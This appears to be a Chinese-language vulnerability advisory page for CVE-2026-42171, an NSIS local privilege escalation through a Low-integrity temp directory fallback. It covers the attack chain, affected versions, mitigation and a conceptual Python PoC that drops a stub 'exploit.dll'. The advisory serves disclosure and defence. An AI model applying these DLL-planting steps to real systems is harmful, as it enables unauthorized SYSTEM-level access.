IPBUF安全漏洞报告
English
CVE-2026-42171 CVSS 7.8 高危

CVE-2026-42171 NSIS权限提升漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-42171
漏洞类型
权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
NSIS (Nullsoft Scriptable Install System)

相关标签

权限提升NSIS本地攻击CVE-2026-42171Windows

漏洞概述

NSIS(Nullsoft Scriptable Install System)在3.06.1至3.12之前的版本中存在安全漏洞。当安装程序以SYSTEM权限运行时,有时会错误地使用低完整性(Low IL)临时目录。本地攻击者可利用此漏洞,通过触发特定的条件(如使my_GetTempFileName返回0),在该目录下植入恶意文件,从而利用高权限进程加载执行,实现权限提升。

技术细节

该漏洞的核心在于NSIS处理临时文件路径时的逻辑缺陷。在受影响版本中,当NSIS安装程序以SYSTEM权限运行时,如果内部函数`my_GetTempFileName`因特定条件返回0,程序会错误地回退到使用低完整性级别的临时目录。由于Windows的完整性机制,低完整性目录通常允许低权限用户写入,而高权限进程(SYSTEM)不应随意从该位置加载可执行文件。攻击者利用这一缺陷,可在低完整性目录中预先植入恶意DLL或配置文件。当SYSTEM权限的NSIS进程执行并加载这些文件时,将触发恶意代码执行,从而导致本地权限提升(LPE)。

攻击链分析

STEP 1
1. 触发条件
本地攻击者诱导系统运行以SYSTEM权限执行的NSIS安装程序,并触发特定的文件系统状态导致my_GetTempFileName返回0。
STEP 2
2. 目录回退
NSIS安装程序错误地回退并使用低完整性(Low IL)的临时目录进行后续操作。
STEP 3
3. 植入载荷
攻击者利用低完整性目录的可写权限,预先在该目录下放置恶意的DLL文件或脚本。
STEP 4
4. 权限提升
SYSTEM权限的NSIS进程加载并执行了攻击者植入的恶意文件,导致攻击者获得SYSTEM级权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os # Conceptual PoC for CVE-2026-42171 # This script demonstrates how an attacker might prepare the malicious file # in the Low Integrity temp directory before triggering the vulnerable installer. def exploit_simulation(): # Identify the potential Low IL temp directory path # The actual path depends on the specific behavior of my_GetTempFileName target_temp_dir = os.path.expandvars(r"%TEMP%\Low") print(f"[*] Target directory: {target_temp_dir}") # Ensure directory exists (attacker might need to create this in some scenarios) if not os.path.exists(target_temp_dir): try: os.makedirs(target_temp_dir) print(f"[+] Created directory: {target_temp_dir}") except OSError as e: print(f"[-] Error creating directory: {e}") return # Create a malicious payload (e.g., a DLL) # In a real attack, this would be a compiled DLL designed to hijack execution payload_path = os.path.join(target_temp_dir, "exploit.dll") with open(payload_path, "wb") as f: # Simulating a minimal DLL header (MZ) f.write(b"MZ\x90\x00") print(f"[+] Dropped malicious payload at: {payload_path}") print("[*] Waiting for the vulnerable NSIS installer to run as SYSTEM...") print("[*] If the installer uses the Low IL directory, privilege escalation occurs.") if __name__ == "__main__": exploit_simulation()

影响范围

NSIS 3.06.1
NSIS 3.07
NSIS 3.08
NSIS 3.09
NSIS 3.10
NSIS 3.11

防御指南

临时缓解措施
在未升级到修复版本前,建议限制NSIS安装程序的运行权限,避免使用SYSTEM账户运行,并确保临时目录的访问控制列表(ACL)配置正确,防止低权限用户篡改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表